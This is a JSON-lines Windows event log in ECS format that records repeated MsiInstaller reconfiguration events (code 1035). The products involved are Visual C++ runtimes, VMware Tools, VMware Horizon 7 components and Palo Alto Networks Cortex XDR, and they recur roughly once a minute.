{"@timestamp":1657395910346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170473}}
{"@timestamp":1657395969974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170474}}
{"@timestamp":1657395970001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170475}}
{"@timestamp":1657395970053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170476}}
{"@timestamp":1657395970094,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170477}}
{"@timestamp":1657395970122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170478}}
{"@timestamp":1657395970152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170479}}
{"@timestamp":1657395970179,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170480}}
{"@timestamp":1657395970204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170481}}
{"@timestamp":1657395970241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170482}}
{"@timestamp":1657395970268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170483}}
{"@timestamp":1657396030098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170484}}
{"@timestamp":1657396030125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170485}}
{"@timestamp":1657396030178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170486}}
{"@timestamp":1657396030218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170487}}
{"@timestamp":1657396030246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170488}}
{"@timestamp":1657396030276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170489}}
{"@timestamp":1657396030303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170490}}
{"@timestamp":1657396030328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170491}}
{"@timestamp":1657396030363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170492}}
{"@timestamp":1657396030390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170493}}
{"@timestamp":1657396090125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170494}}
{"@timestamp":1657396090152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170495}}
{"@timestamp":1657396090202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170496}}
{"@timestamp":1657396090242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170497}}
{"@timestamp":1657396090272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170498}}
{"@timestamp":1657396090304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170499}}
{"@timestamp":1657396090332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170500}}
{"@timestamp":1657396090360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170501}}
{"@timestamp":1657396090395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170502}}
{"@timestamp":1657396090423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170503}}
{"@timestamp":1657396150522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170504}}
{"@timestamp":1657396150548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170505}}
{"@timestamp":1657396150597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170506}}
{"@timestamp":1657396150636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170507}}
{"@timestamp":1657396150664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170508}}
{"@timestamp":1657396150694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170509}}
{"@timestamp":1657396150719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170510}}
{"@timestamp":1657396150746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170511}}
{"@timestamp":1657396150782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170512}}
{"@timestamp":1657396150809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170513}}
{"@timestamp":1657396210845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170514}}
{"@timestamp":1657396210872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170515}}
{"@timestamp":1657396210922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170516}}
{"@timestamp":1657396210970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170517}}
{"@timestamp":1657396210998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170518}}
{"@timestamp":1657396211029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170519}}
{"@timestamp":1657396211058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170520}}
{"@timestamp":1657396211087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170521}}
{"@timestamp":1657396211124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170522}}
{"@timestamp":1657396211158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170523}}
{"@timestamp":1657396270456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170524}}
{"@timestamp":1657396270482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170525}}
{"@timestamp":1657396270531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170526}}
{"@timestamp":1657396270570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170527}}
{"@timestamp":1657396270599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170528}}
{"@timestamp":1657396270629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170529}}
{"@timestamp":1657396270656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170530}}
{"@timestamp":1657396270683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170531}}
{"@timestamp":1657396270719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170532}}
{"@timestamp":1657396270746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170533}}
{"@timestamp":1657396330285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170534}}
{"@timestamp":1657396330312,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170535}}
{"@timestamp":1657396330361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170536}}
{"@timestamp":1657396330401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170537}}
{"@timestamp":1657396330429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170538}}
